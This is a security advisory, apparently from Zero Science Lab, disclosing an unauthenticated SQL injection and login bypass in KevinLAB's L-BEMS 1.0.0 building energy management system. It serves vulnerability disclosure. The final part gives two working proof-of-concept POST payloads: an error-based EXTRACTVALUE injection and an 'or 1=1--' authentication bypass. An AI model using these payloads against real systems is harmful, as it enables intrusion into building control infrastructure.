KevinLAB BEMS 1.0 Unauthenticated SQL Injection / Authentication Bypass


Vendor: KevinLAB Inc.
Product web page: http://www.kevinlab.com
Affected version: 4ST L-BEMS 1.0.0 (Building Energy Management System)

Summary: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy
management platform. KevinLAB's BEMS (Building Energy Management System) enables
efficient energy management in buildings. It improves the efficient of energy use
by collecting and analyzing various information of energy usage and facilities in
the building. It also manages energy usage, facility efficiency and indoor environment
control.

Desc: The application suffers from an unauthenticated SQL Injection vulnerability.
Input passed through 'input_id' POST parameter in '/http/index.php' is not properly
sanitised before being returned to the user or used in SQL queries. This can be exploited
to manipulate SQL queries by injecting arbitrary SQL code and bypass the authentication
mechanism.

Tested on: Linux CentOS 7
           Apache 2.4.6
           Python 2.7.5
           PHP 5.4.16
           MariaDB 5.5.68


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5655
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5655.php


05.07.2021

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PoC POST data payload (extract):
--------------------------------

POST /http/index.php HTTP/1.1
Host: 192.168.1.3

requester=login
request=login
params=[{"name":"input_id","value":"USERNAME' AND EXTRACTVALUE(1337,CONCAT(0x5C,0x5A534C,(SELECT (ELT(1337=1337,1))),0x5A534C)) AND 'joxy'='joxy"},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}]


PoC POST data payload (authbypass):
-----------------------------------

POST /http/index.php HTTP/1.1
Host: 192.168.1.3

requester=login
request=login
params=[{"name":"input_id","value":"USERNAME' or 1=1--},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}]